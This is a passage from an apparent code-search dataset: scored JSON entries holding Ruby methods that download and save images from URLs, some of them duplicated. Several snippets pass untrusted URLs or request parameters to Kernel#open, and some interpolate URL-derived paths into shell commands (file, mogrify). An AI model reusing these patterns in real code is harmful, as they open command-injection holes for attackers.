"score": "0.72090834",
"text": "def save(path)\n @image.save(path)\n end",
"title": ""
},
{
"docid": "491a2da2c9f54c9bb844f5c3e9d44c4c",
"score": "0.7158206",
"text": "def image_from_url(url)\n unless url.blank?\n begin \n extname = File.extname(url)\n basename = File.basename(url, extname)\n file = Tempfile.new([basename, extname])\n file.binmode\n open(URI.parse(url)) do |data|\n file.write data.read\n end\n file.rewind\n if extname.blank?\n mime = `file --mime -br #{file.path}`.strip\n mime = mime.gsub(/^.*: */,\"\")\n mime = mime.gsub(/;.*$/,\"\")\n mime = mime.gsub(/,.*$/,\"\")\n extname = \".\"+mime.split(\"/\")[1]\n File.rename(file.path, file.path+extname)\n file = File.new(file.path+extname)\n end\n rescue Exception => e\n logger.info \"EXCEPTION IMPORTING PHOTO\"\n logger.info \"for user: #{self.inspect}\"\n logger.info \"error: #{e.message}\"\n end\n begin \n self.image = file\n rescue Exception => e\n logger.info \"EXCEPTION STORING PHOTO\"\n logger.info \"for user: #{self.inspect}\"\n logger.info \"error: #{e.message}\"\n end\n end\n end",
"title": ""
},
{
"docid": "491a2da2c9f54c9bb844f5c3e9d44c4c",
"score": "0.7158206",
"text": "def image_from_url(url)\n unless url.blank?\n begin \n extname = File.extname(url)\n basename = File.basename(url, extname)\n file = Tempfile.new([basename, extname])\n file.binmode\n open(URI.parse(url)) do |data|\n file.write data.read\n end\n file.rewind\n if extname.blank?\n mime = `file --mime -br #{file.path}`.strip\n mime = mime.gsub(/^.*: */,\"\")\n mime = mime.gsub(/;.*$/,\"\")\n mime = mime.gsub(/,.*$/,\"\")\n extname = \".\"+mime.split(\"/\")[1]\n File.rename(file.path, file.path+extname)\n file = File.new(file.path+extname)\n end\n rescue Exception => e\n logger.info \"EXCEPTION IMPORTING PHOTO\"\n logger.info \"for user: #{self.inspect}\"\n logger.info \"error: #{e.message}\"\n end\n begin \n self.image = file\n rescue Exception => e\n logger.info \"EXCEPTION STORING PHOTO\"\n logger.info \"for user: #{self.inspect}\"\n logger.info \"error: #{e.message}\"\n end\n end\n end",
"title": ""
},
{
"docid": "af9cb3bc2d6ec0852ba6f4e15660d636",
"score": "0.7148086",
"text": "def save_url(path, url)\n resp = request('/files/save_url', path: path, url: url)\n parse_tagged_response(resp)\n end",
"title": ""
},
{
"docid": "beadb82b795321a1bb388af1825589cd",
"score": "0.6910922",
"text": "def save_image_file(url, src, dir, async=false)\n # get a file name from src attribute\n file_name = src.split('/').last\n # if src attribute presented as relative path - attach it to url of a page in order to make it absolute\n src = url + src unless src =~ /\\Ahttp/\n # create directory if it doesnt exist\n Dir.mkdir(dir) unless File.directory?(dir)\n doc = nil\n begin\n # try to get a file as html-document (html-response)\n doc = async ? fetcher_fabric.get_fetcher(src, 'faraday').async.get : fetcher_fabric.get_fetcher(src, 'faraday').get\n rescue => e\n raise 'Error occurred during file downloading: '+e.message\n end\n # if doc exists - save it to a file with proper file name in target directory\n File.open(File.join(dir, file_name), 'w+') { |f| f.write doc } if doc\n rescue => e\n raise 'Error occurred during file saving: '+e.message\n end",
"title": ""
},
{
"docid": "2016263ae62c9bdbe37780f2831762e9",
"score": "0.68828577",
"text": "def save_file(url)\n \tputs \"Downloading file from URL ...\"\n \t file_name = url.split(\"/\").last\n \t file_path = \"#{Rails.root}/public/#{file_name}\"\n \n open(file_path, 'wb') do |file|\n file << open(url).read\n end \n\n file_path\t\n end",
"title": ""
},
{
"docid": "dc0fc7c678a4d7c2175f592fa0b112cb",
"score": "0.6858233",
"text": "def save_image\n url=read_catapi_url\n extension= url.split(\".\").last\n open(\"/home/fredy/Desktop/cat_image.#{extension}\", 'wb') do |file|\n file << open(read_catapi_url).read\n end \n end",
"title": ""
},
{
"docid": "4bd5e2295d12d22d7d61455b3b6f7720",
"score": "0.6812435",
"text": "def download_image(url, path, name)\n match = IMAGE_TYPE_REGEX.match(url)\n\n image = \"#{File.join(path, name)}.#{match[0]}\"\n open(image, 'wb') do |file|\n file << open(url).read \n end\n end",
"title": ""
},
{
"docid": "241de1dc01508d3f97f42ce3053af61e",
"score": "0.6806347",
"text": "def download_imgur( url, filename )\n image = open( \"#{url}.jpg\" ).read\n File.write(\"#{filename}.jpg\", image)\nend",
"title": ""
},
{
"docid": "a235fe0d9d54c9cc0ce16c33de7b22d6",
"score": "0.66659564",
"text": "def download_image(url, destination)\n open(url) do |u|\n File.open(destination, 'wb') { |f| f.write(u.read) }\n end\nend",
"title": ""
},
{
"docid": "0dae9e9a95472de23605bf50a8a09351",
"score": "0.6651999",
"text": "def download_image(url)\n FileUtils.mkdir_p(ASSET_DIR) unless File.directory?(ASSET_DIR)\n filename = URI(url).path.split('/').last\n path = File.join(ASSET_DIR, filename)\n return path if File.exists?(path)\n io = URI.open(url)\n FileUtils.mv(io.path, path)\n FileUtils.chmod(0644, path)\n path\n end",
"title": ""
},
{
"docid": "1ba9a4ef3cf2c495a2075a7185eaaf5d",
"score": "0.6625654",
"text": "def download_image(url, filename)\n open(filename, 'wb') do |file|\n file << open(url).read\n end\n end",
"title": ""
},
{
"docid": "ca3064b92305d9470e8dc250684b9ce1",
"score": "0.6623442",
"text": "def download_and_save_file(url, path)\n open_and_save_file(path, open(url).read)\n end",
"title": ""
},
{
"docid": "6b8562cc8264f2a82c933844457b349d",
"score": "0.6619362",
"text": "def save_remote_image(url)\n begin\n i = Magick::Image::read(url).first\n rescue => e\n return\n end\n\n begin\n Cloudinary::Uploader.upload(url, :public_id => \"#{id}_#{self.images.length+1}\")\n rescue => e\n return\n end\n\n self.images << {\n 'remote_url' => url,\n 'w' => i.columns,\n 'h' => i.rows\n }\n\n self.active_image_version = self.images.length\n\n save\n end",
"title": ""
},
{
"docid": "7c390ca1e7f2db9ea32f13c763ff52a9",
"score": "0.6596893",
"text": "def photo_path(path, size, url = true)\n File.join(public_photo_dir(url), photo_name(path, size))\n end",
"title": ""
},
{
"docid": "6ae71cf859eb94fcf3c5cb8d6d11a735",
"score": "0.65896183",
"text": "def download_image(file_path, url)\n\n begin\n\n # download the hi-res image\n open(file_path, 'wb') do |file|\n file << URI.open(url).read\n end\n rescue Exception => exception\n file_path.delete\n raise exception\n end\n end",
"title": ""
},
{
"docid": "63abd873e9979fae9d29c3cf8e55fbd2",
"score": "0.6589552",
"text": "def picture_from_url(url)\n self.assets.build( :asset => URI.parse(url), :product_id => self.id ).save\n end",
"title": ""
},
{
"docid": "fd8ab238a02d9ccb6d67e5217f94ae31",
"score": "0.6575408",
"text": "def picture_from_url\n response = open(@pic.direct_upload_url) rescue nil\n @pic.photo = URI.parse(@pic.direct_upload_url) if response rescue nil\n end",
"title": ""
},
{
"docid": "616be8598df7d21ef87f1e642276f4b6",
"score": "0.64840263",
"text": "def update\n # photo = @photo.photo_url = params[:photo_url]\n @photo.update({photo_url: params[:photo_url]})\n image_from_web = open(params[:photo_url]) {|f| f.read }\n file_name = params[:photo_url].split(\"/\").pop()\n File.open(file_name, 'wb') {|f| f.write(image_from_web) }\n\n\n respond_to do |format|\n format.json { render :json => 'Photo Updated!'}\n end\n end",
"title": ""
},
{
"docid": "5aada0ffc2724f446e290fa397490366",
"score": "0.6412052",
"text": "def save_photo\n if @file_data\n FileUtils.mkdir_p FOTOS #Crea la carpeta en caso no exista\n File.open(photo_filename, 'wb') do |f|\n f.write(@file_data.read)\n end\n @file_data = nil\n end\n end",
"title": ""
},
{
"docid": "ade60626e2c2d8866c831e0a7b11796f",
"score": "0.63938",
"text": "def save_screenshot(url, path)\n load_url url\n @driver.save_screenshot path\n end",
"title": ""
},
{
"docid": "e0bda7f25a5e5b441d1ebbc489df0c3f",
"score": "0.63447464",
"text": "def save(path)\n require 'watir/windowhelper'\n WindowHelper.check_autoit_installed\n @container.goto(src)\n begin\n thrd = fill_save_image_dialog(path)\n @container.document.execCommand(\"SaveAs\")\n thrd.join(5)\n ensure\n @container.back\n end\n end",
"title": ""
},
{
"docid": "e0bda7f25a5e5b441d1ebbc489df0c3f",
"score": "0.63447464",
"text": "def save(path)\n require 'watir/windowhelper'\n WindowHelper.check_autoit_installed\n @container.goto(src)\n begin\n thrd = fill_save_image_dialog(path)\n @container.document.execCommand(\"SaveAs\")\n thrd.join(5)\n ensure\n @container.back\n end\n end",
"title": ""
},
{
"docid": "475bef2932b9b30c29779561a2b05b5b",
"score": "0.6335259",
"text": "def save_to_tempfile(url)\n uri = URI.parse(url)\n ext = [\".\", uri.path.split(/\\./).last].join(\"\")\n\n dest = File.join \"/tmp\", Dir::Tmpname.make_tmpname(['list', ext], nil)\n\n puts \"#{url} -> #{dest}\"\n\n open(dest, 'wb') do |file|\n file << open(url).read\n end\n\n # if the image is too big, let's lower the quality a bit\n if File.size(dest) > 5_000_000\n `mogrify -quality 65% #{dest}`\n end\n\n\n dest\nend",
"title": ""
},
{
"docid": "8c83f67274f76595fb826429974803bd",
"score": "0.63312894",
"text": "def save_to(path, size)\n target = \"#{path}/#{self.title}\"\n FileUtils.mkdir(target) unless File.exist?(target)\n\n self.photos.each_with_index do |photo, index|\n image = photo.send(size)\n image.save_to(target, file_prefix(index)) unless image.nil?\n end\n end",
"title": ""
},
{
"docid": "1c52c5bc9f5ddf80ada50b59371f4a7a",
"score": "0.6307706",
"text": "def write(path)\n image.write(path)\n image\n end",
"title": ""
},
{
"docid": "c7bad4d861b3d912859204fd7d9f4ebc",
"score": "0.6290404",
"text": "def save_as(filename, size = :medium)\n format = size.to_sym == :original ? (self.original_format || 'jpg') : 'jpg'\n filename = \"#{filename}.#{format}\"\n\n if File.exists?(filename) or not self.url(size)\n false\n else\n f = File.new(filename, 'w+')\n f.puts open(self.url(size)).read\n f.close\n f\n end\n end",
"title": ""
},
{
"docid": "c7bad4d861b3d912859204fd7d9f4ebc",
"score": "0.6290404",
"text": "def save_as(filename, size = :medium)\n format = size.to_sym == :original ? (self.original_format || 'jpg') : 'jpg'\n filename = \"#{filename}.#{format}\"\n\n if File.exists?(filename) or not self.url(size)\n false\n else\n f = File.new(filename, 'w+')\n f.puts open(self.url(size)).read\n f.close\n f\n end\n end",
"title": ""
},
{
"docid": "ca7600947d55f45278e593cb53f052fe",
"score": "0.62800354",
"text": "def store_image(img, new_path)\n\t\tbegin\n\t\t\turl = prepare_src(img.attribute(\"src\").value)\n\t\t\tresponse = open(url)\n\t\t\tif response.content_type.include?(\"image\")\n\t\t\t\tFile.open(new_path, 'wb') {|f| f.write(response.read)}\n\t\t\telse\n\t\t\t\tnew_path = false\n\t\t\tend\n\t\trescue\n\t\t\tnew_path = false\n\t\tend\n\t\treturn new_path\n\tend",
"title": ""
},
{
"docid": "2e35da4f92f93a508512803dfba04ff2",
"score": "0.62649935",
"text": "def save()\n open_image()\n # Copy to original file system path so file extension \n # is conserved: \n @img.write(@media_asset.fs_path)\n create_image_versions()\n delete_image_tempfiles()\n end",
"title": ""
},
{
"docid": "f31690d4a4f4466860a694fd4895a58e",
"score": "0.6200838",
"text": "def save(path=nil)\n file_path = path.nil? ? (filename || 'image.png') : File.join(path, (filename || 'image.png'))\n base.write(file_path)\n end",
"title": ""
},
{
"docid": "812372177a0152ed9d611435fc38c7cd",
"score": "0.61839044",
"text": "def write_url(handle, file_url)\n signage = sign(handle: handle, call: :writeUrl)\n\n uri = file_uri(handle)\n uri.query = encode_uri_query(\n key: @api_key,\n signature: signage[:signature],\n policy: signage[:encoded_policy]\n )\n\n resource = get_fp_resource uri\n\n response = resource.put url: file_url.to_s\n\n if response.code == 200\n return true\n else\n raise FilepickerClientError, \"failed to write (code: #{response.code})\"\n end\n end",
"title": ""
},
{
"docid": "176a87c8d1a46ea74af0f0952968921c",
"score": "0.61734146",
"text": "def update_avatar(url)\n return if url.nil? && url.blank?\n begin\n uri = URI.parse(url)\n filename = File.basename(uri.path)\n downloaded_image = open(url)\n avatar.attach(io: downloaded_image, filename: filename)\n rescue OpenURI::HTTPError\n puts 'bad url , unable to update avatar....'\n end\n end",
"title": ""
},
{
"docid": "cb1524626b0131200c8209b1bf5714e3",
"score": "0.6171923",
"text": "def store_image(image_url, image_id)\n uri = URI.parse(URI.encode(image_url))\n image_storage_path = get_image_path(image_url, image_id)\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n http_response = http.request_get(uri.path)\n\n redirect_uri = URI.parse(URI.encode(http_response['location']))\n\n http = Net::HTTP.new(redirect_uri.host, redirect_uri.port)\n http.use_ssl = true\n\n http.start do |h|\n resp = h.get(redirect_uri.path)\n open(image_storage_path, \"wb\") do |file|\n file.write(resp.body)\n end\n end\n end",
"title": ""
},
{
"docid": "291ab5f06885bd08b119f7a17817dfe0",
"score": "0.616192",
"text": "def save_screenshot(path)\n @browser.save_screenshot @url.url, path\n end",
"title": ""
},
{
"docid": "467b5214730f5d559b421ab3fe5cf222",
"score": "0.61438763",
"text": "def picture_from_url(url)\n self.primary_photo = URI.parse(url)\n end",
"title": ""
},
{
"docid": "b2a601a27692d7fc8a2b04378c3e443c",
"score": "0.6127389",
"text": "def saveSnapshot(location)\n url = getInfo[\"image\"]\n path = File.split(location)[0]\n Dir.mkdir(path) unless Dir.exist?(path)\n\n #downloads the image to the given location in chunks\n File.open(location, \"wb\") {|f|\n block = proc { |response|\n response.read_body do |chunk|\n f.write chunk\n end\n }\n RestClient::Request.execute(method: :get,\n url: url,\n block_response: block)\n }\n end",
"title": ""
},
{
"docid": "5b7f0f281c1c6ac4e01603244a3a3ba1",
"score": "0.6069521",
"text": "def set_image_from_url\n begin\n logger.info \"downloading image...\"\n contents = open(self.url)\n logger.info \"setting self.image to: #{contents}\"\n logger.info \"file is #{contents.path}\"\n self.image = contents\n #self.image = open(self.url)\n logger.info \"set self.image to be: #{self.image}, from url: #{self.url}\"\n rescue\n return false\n end\n \n true\n end",
"title": ""
},
{
"docid": "31b7f01d5300a2c530a6a43596a45014",
"score": "0.6057503",
"text": "def save_image(upc, data_uri)\n uri = URI::Data.new(data_uri)\n\n case uri.content_type\n when 'image/jpeg', 'image/jpg'\n extension = 'jpg'\n when 'image/png'\n extension = 'png'\n else\n raise ArgumentError, 'Image type not supported'\n end\n\n create_path_unless_exists \"public/images/wines/#{upc}.#{extension}\"\n\n File.open(\"public/images/wines/#{upc}.#{extension}\", 'wb') do |file|\n file.write(uri.data)\n end\n end",
"title": ""
},
{
"docid": "98a85abd08bbef2a5dc9c5702ce3a887",
"score": "0.6053678",
"text": "def save_cover_picture(data)\n File.open('public/images/universities/'+ self.cover_picture,'w') do |f|\n f.write data\n end\n end",
"title": ""
},
{
"docid": "c2bf1d4a131b2423774235de4d907dd0",
"score": "0.60420376",
"text": "def upload\n key = \"#{Time.now.to_s(:db).gsub(/[ :]/, ?-)}.jpg\"\n obj = upload_to_s3(key)\n Photo.create!(path: key)\n\n render plain: obj.public_url\n end",
"title": ""
},
{
"docid": "58afbe2fd7a6ca2bf73249ac539ad0f2",
"score": "0.6041847",
"text": "def image_url(path); end",
"title": ""
},
{
"docid": "58afbe2fd7a6ca2bf73249ac539ad0f2",
"score": "0.6041847",
"text": "def image_url(path); end",
"title": ""
},
{
"docid": "5c79a04b231dd7a8a08713fd405e9189",
"score": "0.6041585",
"text": "def image_from_url(url)\n self.image = open(url)\n end",
"title": ""
},
{
"docid": "fb85aa4975ed6bd3b0446126895e9548",
"score": "0.60329527",
"text": "def save_images(urls, file_path)\n urls.each_with_index do |url, i|\n open(\"#{@query.gsub(' ', '-')}_#{i}.jpg\", 'wb') do |file|\n file << open(url).read\n end\n end\n end",
"title": ""
},
{
"docid": "b833f896c5ac00d91753dcf9b730001b",
"score": "0.60265595",
"text": "def save_new_photo\n end",
"title": ""
},
{
"docid": "8dd135bff224aadcd5f9279e9a23e2ee",
"score": "0.60184896",
"text": "def put(url)\n file = filepath(url)\n return nil if File.exist?(file)\n\n FileUtils.mkdir_p path(url)\n trys = 0\n begin\n trys = trys + 1\n data = open(escape(url)).read\n File.open(file, \"wb\") { |f| f << data }\n rescue OpenURI::HTTPError => httperror\n raise httperror unless trys < 3\n retry\n rescue Timeout::Error => timeout\n raise timeout unless trys < 3\n retry\n rescue OpenSSL::SSL::SSLError => ssl\n raise ssl unless trys < 3\n retry\n rescue => error\n raise error\n end\n nil\n end",
"title": ""
},
{
"docid": "823968186844b705acb3598f241640bf",
"score": "0.60133404",
"text": "def save_url\n self.image_url = self.product_image.url\n self.save\n end",
"title": ""
},
{
"docid": "5df8f60613989da15eb5cd01c2e06349",
"score": "0.59962475",
"text": "def save(path); end",
"title": ""
},
{
"docid": "8b251d0982c1745239f7baae444c1a8c",
"score": "0.59843266",
"text": "def download_image(img_url)\n to_path = local_path img_url\n @content.gsub! img_url, \"/images/assets/#{File.basename(to_path)}\"\n begin\n File.open(to_path, 'wb') do |local_file|\n open(img_url, 'rb') do |remote_file|\n local_file.write(remote_file.read)\n end\n end\n rescue Exception => ex\n Exporter.log 'ERROR', \"#{img_url} #{ex}\"\n end\n end",
"title": ""
},
{
"docid": "0392a86bf248f738d4617242f61f984e",
"score": "0.598271",
"text": "def download(url, path)\n if url.match(FILE_URL)\n FileUtils.cp(url.sub(FILE_URL, ''), path)\n else\n # An alternative would be shelling out: `curl -s \"#{url}\" > \"#{path}\"`\n resp = RestClient::Request.execute(:url => url, :method => :get, :raw_response => true)\n FileUtils.mv resp.file.path, path\n end\n path\n end",
"title": ""
},
{
"docid": "8ef566255fc68edf3178a8df18fd0b1b",
"score": "0.5977086",
"text": "def write(path)\n image.write_to_file(path, **target_format.save_options)\n end",
"title": ""
},
{
"docid": "a77e88d1c9c336c7612142242908f448",
"score": "0.5973102",
"text": "def save(url)\n downloaded_images = Array.new\n source = URI.parse(url).read\n images = source.scan(@pattern)\n\n if @min and @min > 0 and images.size < @min\n puts \"FEW IMAGES : #{source.base_uri} の画像数が指定された#{@min}を下回りました : \", images.join(', ')\n raise\n end\n\n #日付+ディレクトリ名をタイトルに。\n if /<title>([^\\/\\\\]*?)<\\/title>/ =~ source and $1!='' \n if(Kconv.guess($1) == Kconv::ASCII)\n savedir = $1.kconv(Kconv::UTF8, Kconv::EUC) #半角カナがあるとASCIIと間違えがちなので、EUC-JPに決め打ち。こうしないと文字が化ける。\n else\n savedir = $1.toutf8\n end\n savedir = Date::today.to_s + savedir\n Dir.mkdir(savedir) unless File.exist?(savedir)\n else\n raise \"not appropirate title : #{source.base_uri}のタイトルが不適切です\"\n end\n\n Dir.chdir(savedir) do\n images.each do |_image|\n image_url = URI.parse( _image.respond_to?(:shift) ? _image.shift : _image ) #String#scan(@pattern)は、@patternの正規表現に()があったら配列を、無かったら文字列を返す。もし()を使うなら、URLパターン全体を()でくくって下さいな\n savefile = File.basename(image_url.path)\n unless File.exists? savefile\n begin\n open(savefile, 'wb') do |_save|\n print \"downloading #{image_url.to_s} from #{savedir}\"\n _save.write(image_url.read)\n print \"done\\n\"\n end\n rescue\n puts \"; Error saving #{image_url.to_s} from #{savedir} : #{$!}\"\n end\n else\n puts \"exists #{image_url.to_s} from #{savedir}\"\n end\n downloaded_images.push(image_url.to_s)\n end\n end\n\n return downloaded_images\n end",
"title": ""
},
{
"docid": "9e210d5977248db85bf84c2c24e4efa6",
"score": "0.59604317",
"text": "def save_file\n @file = File.open(@save_path, \"wb\")\n @file.write(@object.body)\n @file.close\n rescue\n @error = \"Unable to save resulting image at `#{@save_path}` location\"\n end",
"title": ""
},
{
"docid": "a26053a74cd79621b00abd830c4193d6",
"score": "0.5935143",
"text": "def save_file(url,id,level=\"0\")\n\tfile = open(url)\n\tcontents = file.read;\n\tFile.open(\"scraped_genomes/level_\" + level + \"/\" + id, \"w\"){ |file|\n\t\tfile.write(contents)\n\t}\n\tfile.close();\nend",
"title": ""
},
{
"docid": "76cbd8713a1f561e693769c195a01723",
"score": "0.59320146",
"text": "def add_image(url)\n update_attributes(attachment: open(url))\n end",
"title": ""
},
{
"docid": "9514e0ee7daacdd6dc99b3bba41592c5",
"score": "0.59284675",
"text": "def get_url_for_path(path, name)\n file = File.open(path+name)\n @client.put_file(name, file)\n\n @client.media(name)[\"url\"]\n end",
"title": ""
},
{
"docid": "7b33f724169e4357be42c3bd375000cd",
"score": "0.5927238",
"text": "def save_image(image, destination_path, **options)\n image.save(destination_path, **options)\n end",
"title": ""
},
{
"docid": "a6d0b511bc77abd4a6a5995395eb7f38",
"score": "0.59264535",
"text": "def url_to_image(url, options = nil)\t\t\n\n\t\t\tif options == nil\n\t\t\t\toptions = ImageOptions.new()\n\t\t\tend\n\t\t\n\t\t\t@request = Request.new(@protocol + WebServicesBaseURL + TakePicture, false, options, url)\n\t\t\treturn nil\n\t\tend",
"title": ""
},
{
"docid": "f9fdb244df9cd40bb9448a3cb6e8ec46",
"score": "0.59251446",
"text": "def save_profile_picture(data)\n File.open('public/images/universities/'+ self.profile_picture,'w') do |f|\n f.write data\n end\n end",
"title": ""
},
{
"docid": "0cf68bc3c152569d1d04f24b333b4ea0",
"score": "0.591515",
"text": "def download\n return unless source_url\n\n begin\n # Sanity check\n @member = backup_photo_album.backup_source.member \n \n @filename = temp_filename source_url\n @img = rio(@filename)\n \n # Don't download if already on filesystem\n unless @img.size? \n logger.debug \"Downloading #{source_url} to #{@filename}...\"\n puts \"Downloading #{source_url} to #{@filename}...\"\n rio(source_url).binmode > @img\n raise \"Rio error saving #{source_url} to #{@filename}\" unless @img.size?\n end\n\n self.photo = Photo.create!(\n :owner => @member,\n :content_type => Content.detect_mimetype(@filename),\n :description => caption,\n :filename => File.basename(@filename),\n :temp_path => File.new(@filename),\n :tag_list => tags || '',\n :taken_at => added_at,\n :collection => backup_photo_album,\n :comments => self.comments # Copy comments objects to Photo\n )\n Rails.logger.debug \"Creating Photo from backup: #{self.photo.inspect}...\"\n save!\n @img.delete if @img && @img.exist?\n rescue Exception => e\n logger.debug \"Error in backup photo download: #{e.class} #{e.message}\"\n update_attribute(:download_error, $!)\n end \n end",
"title": ""
},
{
"docid": "5b4e02b0e94c6d647f3d9d316d94e112",
"score": "0.5914214",
"text": "def download_processed_image(processed_image, save_path)\n \n url = processed_image.file_urls[0]\n \n if @access_token\n url += '?access_token=' + @access_token.token\n end\n\n \n File.open(save_path, \"w\") do |f|\n IO.copy_stream(open(url), f)\n end\n \n end",
"title": ""
},
{
"docid": "c3fbc77354bcd12278823dcbf41eaa20",
"score": "0.5911666",
"text": "def pull_img_from_url( url, output )\n raise TypeError, 'Addressable::URI not provided' if !url.instance_of? Addressable::URI\n raise ArgumentError, 'Provided output file is not a PNG' if !png? output\n\n open( output, 'wb' ) do |out|\n # using 'open-uri' to pull data from url into output\n out << open( url.normalize.to_s ).read\n end\n\n output\n end",
"title": ""
},
{
"docid": "46931b016242aee1ac23531093e039cf",
"score": "0.5901999",
"text": "def save path\n File.open path, \"wb\" do |f|\n f.write to_blob\n end\n end",
"title": ""
},
{
"docid": "65dea931007cbc0bac3ffa48131d2a69",
"score": "0.59003395",
"text": "def save( path, constraints = {} )\n # step 1: make sure outdir exits\n outdir = File.dirname( path )\n FileUtils.mkdir_p( outdir ) unless Dir.exist?( outdir )\n\n # step 2: save\n @img.save( path, constraints )\nend",
"title": ""
},
{
"docid": "844fd4744b01934d4cc59c9cadd71388",
"score": "0.5896261",
"text": "def save_url(container, url, name, only_new, headers = {})\n io = open(url).read\n save_object(container, io, name, only_new, headers)\n end",
"title": ""
},
{
"docid": "52db2ff88dee569f2f362b5be986e75e",
"score": "0.58958554",
"text": "def download_photo(bp)\n logit \"Downloading photo #{bp.source_url}\"\n bp.starting_download!\n if bp.photo\n logit \"Downloading complete\"\n bp.download_complete!\n else\n logit \"Error downloading backup photo\"\n bp.download_error!\n end\n end",
"title": ""
},
{
"docid": "8d97861f204c513cf2059d12cb8033eb",
"score": "0.58852565",
"text": "def paperclip_url(path)\n \"#{imaginate_host_url}#{path}\"\n end",
"title": ""
},
{
"docid": "75045be7966b8c1be07016e3953311db",
"score": "0.5874702",
"text": "def save! target=nil\n target ||= File.join \".\", @album\n filename = File.join(target, \"#{@fid}#{File.extname(@url)}\")\n\n data = Faceoff.download(@url)\n\n Faceoff.safe_save(filename) do |file|\n file.write data\n end\n end",
"title": ""
},
{
"docid": "fa47ff2465bc9bfbfaa74b57db8a753a",
"score": "0.5868799",
"text": "def download(save_path)\n page = Nokogiri::HTML(open(self.website))\n link = \"http://apod.nasa.gov/\" + page.css('body > center:nth-child(1) > p:nth-child(3) > a')[0]['href']\n url = URI.parse(link)\n url.open do |pic|\n File.open(save_path, \"w\") do |file|\n file << pic.read\n end\n end\n end",
"title": ""
},
{
"docid": "f5cabb5369bab8bccbcdee0fe5df4247",
"score": "0.5868607",
"text": "def album_save_image\n\n\t @album = Album.find(params[:album_id])\n\t @artist = Artist.find_by_url_slug(params[:url_slug])\n\n @album.art = \"https://\"+IMAGE_BUCKET+\".s3.amazonaws.com/Three_Repeater-\"[email protected]_slug+\"-\"[email protected]_s+\"-\"+params[:file_name]\n\n\t @album.update_column(:art,@album.art)\n\n\t logger.info(\"artist image= \"[email protected]_s)\n\n\t respond_to do |f|\n\n\t\t\t f.json {\n\t\t\t\t render :json => {\n\t\t\t\t\t\t :success => true}\n\t\t\t }\n\t end\n\n end",
"title": ""
},
{
"docid": "a1149ccc4d227658ba963b9da315cb9f",
"score": "0.5868336",
"text": "def download_photo(identity:, photo:)\n dragonfly_photos_app.fetch(photo.photo_uid).encode('jpg').file.path\n end",
"title": ""
},
{
"docid": "8fa9a6a5b47354142893a4ad31282072",
"score": "0.58650726",
"text": "def save_images(urls, file_path)\n urls.each_with_index do |url, i|\n open(\"#{@topic.gsub(' ', '-')}_#{i}.jpg\", 'wb') do |file|\n file << open(url).read\n end\n end\n end",
"title": ""
},
{
"docid": "a8fbb2b37b739cb0c98f98a7d004112b",
"score": "0.5858616",
"text": "def save_picture pic\n save if update_picture(pic)\n end",
"title": ""
},
{
"docid": "624253b38cc7db50543f152ae4bca791",
"score": "0.58570784",
"text": "def download_image(url,src_url,dest_path)\n if !src_url.include?(\"http://\")\n src_url = \"http://\" + URI.parse(url).host + src_url\n end\n content_type = http_content_type(src_url)\n content_type = content_type.gsub(\"image/\", \"\")\n content_type = content_type.gsub(\"pjpeg\",\"jpg\")\n content_type = content_type.gsub(\"jpeg\",\"jpg\")\n vortex_url = download_resource(src_url,dest_path,content_type)\n return vortex_url\nend",
"title": ""
},
{
"docid": "f32ecc0f785ddb8f5611ade8a2a1d26b",
"score": "0.5852561",
"text": "def save_to_disk(page,url)\n uri = url.gsub /\\//, '_'\n saved_page = Tempfile.new [uri, ''], @repository\n saved_page << page\n saved_page.close\n end",
"title": ""
},
{
"docid": "6d510745348ce2afb2b01d19c87051b1",
"score": "0.5846367",
"text": "def download(photo_session)\n file_as_string = photo_session.download(path)\n self.image = AppSpecificStringIO.new(path, file_as_string)\n end",
"title": ""
},
{
"docid": "930f545cccac73f1f42486ee108ee49a",
"score": "0.584378",
"text": "def save_file(file_uri, file_name) \n open(file_name, 'wb') { |file| \n file.write(fetch_file(file_uri)); puts\n }\nend",
"title": ""
},
{
"docid": "cde33125d897c2ff3f66393a4d1deba9",
"score": "0.5831251",
"text": "def write_url(file_url)\n @client.write_url @handle, file_url\n end",
"title": ""
},
{
"docid": "398360857b97c1a54572799c9ec9d75a",
"score": "0.58302534",
"text": "def store_image\n # To make the bucket public read:\n # https://stackoverflow.com/questions/19176926/how-to-make-all-objects-in-aws-s3-bucket-public-by-default/23102551#23102551\n # Be sure to add /* to the end of the resource name for the generated policy\n return unless original_image_url\n\n extension = File.extname(original_image_url)\n file = \"#{guid}#{extension}\"\n begin\n File.open(file, 'wb') do |fo|\n fo.write URI.parse(original_image_url).open.read\n end\n rescue StandardError => e\n logger.error \"There was a problem getting an image for #{original_image_url}: #{e.message}\"\n end\n self.image = File.open(file)\n save\n end",
"title": ""
},
{
"docid": "4ebfb2719023bb4dfeb5caf8bce8b45f",
"score": "0.5828687",
"text": "def secure_url(photo_path, expires_at=1.minute.from_now)\n photo_store.secure_url(photo_path, expires_at)\n end",
"title": ""
},
{
"docid": "deb8f6ff53db902f2ef31fe8ba83ad0f",
"score": "0.58267254",
"text": "def store_url(file_url, path=nil)\n signage = sign(path: path, call: :store)\n\n uri = URI.parse(FP_API_PATH)\n query_params = {\n key: @api_key,\n signature: signage[:signature],\n policy: signage[:encoded_policy]\n }\n query_params[:path] = signage[:policy]['path'] if path\n uri.query = encode_uri_query(query_params)\n\n resource = get_fp_resource uri\n\n response = resource.post url: file_url.to_s\n\n if response.code == 200\n response_data = JSON.parse response.body\n file = FilepickerClientFile.new response_data, self\n\n return file\n else\n raise FilepickerClientError, \"failed to store (code: #{response.code})\"\n end\n end",
"title": ""
},
{
"docid": "9e2d775c9eea9cc2be8609c54c879bab",
"score": "0.58177346",
"text": "def set_file_url url\n PictureProcessor.new(self).set_file_url url\n end",
"title": ""
},
{
"docid": "581734815b90fa0bf67daa591569f2f5",
"score": "0.5811475",
"text": "def save\n unless saved? || @contents.nil? || @name.nil?\n response = client.create_file(@name, @contents, @mime_type)\n unless response.error?\n result = response.result\n @name = result[FIELD_NAME] || File.basename(result[FIELD_URL])\n @url = result[FIELD_URL]\n end\n end\n saved?\n end",
"title": ""
},
{
"docid": "de884cd27b985b22bbc6f157946a527d",
"score": "0.58109885",
"text": "def picture_from_url(url)\n self.picture = URI.parse(url)\n end",
"title": ""
},
{
"docid": "c7e6d3394f4de68c6f2eb666a8a8512b",
"score": "0.5807614",
"text": "def save(local_path, save_path)\n file = @bucket.files.create(:key => save_path,\n :body => File.open(local_path),\n :public => !@use_auth)\n file.save\n if @use_auth\n file.url(Time.now.to_i + @expires)\n else\n file.public_url\n end\n end",
"title": ""
},
{
"docid": "2ca141a3e62442a565e1489b81e6cc3f",
"score": "0.5804328",
